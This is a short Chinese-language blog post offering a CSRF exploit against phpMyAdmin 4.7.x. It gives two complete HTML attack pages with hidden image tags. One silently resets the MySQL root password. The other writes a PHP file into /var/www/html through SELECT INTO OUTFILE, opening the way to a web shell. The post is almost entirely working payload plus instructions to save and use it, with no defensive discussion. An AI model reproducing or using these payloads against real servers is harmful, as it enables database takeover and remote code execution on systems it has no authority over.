phpMyAdmin 4.7.x CSRF 漏洞利用
修改root密码:
保存为:webshell.html
<p>Hello World</p>
<img src="https://webshell.cc/sql.php?db=mysql&table=user&sql_query=SET%20password%20=%20PASSWORD(%27www.webshell.cc%27)" style="display:none;" />
密码为:www.webshell.cc
写文件
首先你要知道路径
保存为:webshell.html
<p>Hello World</p>
<img src="https://webshell.cc/sql.php?db=mysql&table=user&sql_query=select%20'<?php%20phpinfo();?>'%20into%20outfile%20'/var/www/html/test.php';" style="display:none;" />
转载请注明来自WebShell'S Blog,本文地址:https://www.webshell.cc/6553.html